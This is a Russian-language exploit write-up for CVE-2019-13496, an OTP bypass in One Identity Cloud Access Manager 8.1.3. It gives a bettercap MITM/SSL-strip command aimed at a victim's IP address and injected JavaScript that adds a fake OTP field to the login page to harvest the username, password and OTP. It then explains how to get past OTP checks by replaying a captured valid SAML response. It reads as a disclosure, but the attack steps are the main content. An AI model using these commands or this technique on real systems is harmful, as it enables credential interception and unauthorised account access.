CVE-2019-13496
Название эксплойта: Обход OTP (нарушенная проверка целостности)
Дата: 07/10/2019
Автор эксплойта: Furqan Khan
Сайт вендора: https://www.oneidentity.com/
Ссылка на ПО: https://www.oneidentity.com/products/cloud-access-manager/
Версия: 8.1.3
Протестировано на: Kali Linux , Windows 7 ,Ubantu 16.04
Чтобы использовать уязвимость обхода OTP, атакующий применяет ранее обнаруженную уязвимость MITM/SSL-Strip CVE-2019-13498 , CVE-2019-13498 . Атакующий проводит MITM/SSL strip атаку, с помощью которой он может внедрить текстовое поле OTP в веб-страницу, отдаваемую жертве. Жертва сообщает своё имя пользователя, пароль и OTP, сгенерированный приложением defender (принадлежит тому же вендору). Атакующий перехватывает имя пользователя, пароль и OTP, а затем пытается получить доступ к приложению через легитимный рабочий процесс. После ввода украденных имени пользователя и пароля атакующий вводит украденный OTP на следующей странице. При отправке запроса на странице OTP подписанный SAML-ответ сохраняется. Даже если у атакующего нет доступа к приложению, генерирующему OTP, он может вводить недействительный OTP для последующих транзакций, и пока приложение отклоняет OTP, атакующий может заменить неудачный SAML-ответ ранее полученным легитимным SAML-ответом; приложение не выполняет проверку целостности и впускает атакующего.
(1) Первый шаг атаки — проведение MITM/SSL-Strip, который описан в : CVE-2019-13498 , а также указан ниже :
Используемая команда bettercap :
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Здесь 192.168.1.103 — это IP-адрес жертвы. Если мы его не знаем, мы можем использовать bettercap, чтобы перехватывать и изменять содержимое всей локальной сети (общей сети атакующего и жертвы).
Содержимое inject_js.js приведено ниже
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Теперь, когда жертва заходит на продукт (Cloud access manager), из-за отравления кэша и SSL strip (Bettercap) на странице, отдаваемой жертве, будет внедрено текстовое поле OTP с помощью внедрённого javascript-фрагмента

Поскольку соединение понижается до http через ssl-strip, теперь весь трафик виден атакующему. Таким образом, мы можем перехватить трафик и увидеть имя пользователя, пароль и OTP, отправленные жертвой.

Теперь предположим, что мы один раз вошли в систему с сохранёнными учётными данными и сохранили все валидные запросы и ответы.
В этом разделе мы узнаем, как можно использовать ранее сохранённый OTP-ответ, чтобы обойти проверку OTP, которая позволит нам войти в приложение.
Давайте введём недействительный OTP, как показано ниже :

Ниже показан ответ, который не проходит проверку OTP.

Замените неудачный ответ ранее сохранённым легитимным ответом.

Ниже показан SAML-ответ, который не проходит проверку OTP.

Замените неудачный ответ ранее сохранённым легитимным SAML-ответом.

Бинго, приложение впускает нас. В идеале оно должно было выполнить проверку целостности и учесть, что срок действия OTP истёк.

Бинго ! Это было легко !